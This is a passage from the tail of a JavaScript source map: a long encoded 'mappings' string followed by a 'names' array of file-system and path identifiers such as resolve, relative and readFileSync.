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","names":["relative","resolve","sep","resolve","relative","resolve","resolve","relative","readFileSync","readFileSync","readFileSync","readFileSync","copy","readFile","stat","readFile","stat","resolve","relative","resolve","sep","raw","detail"]}
|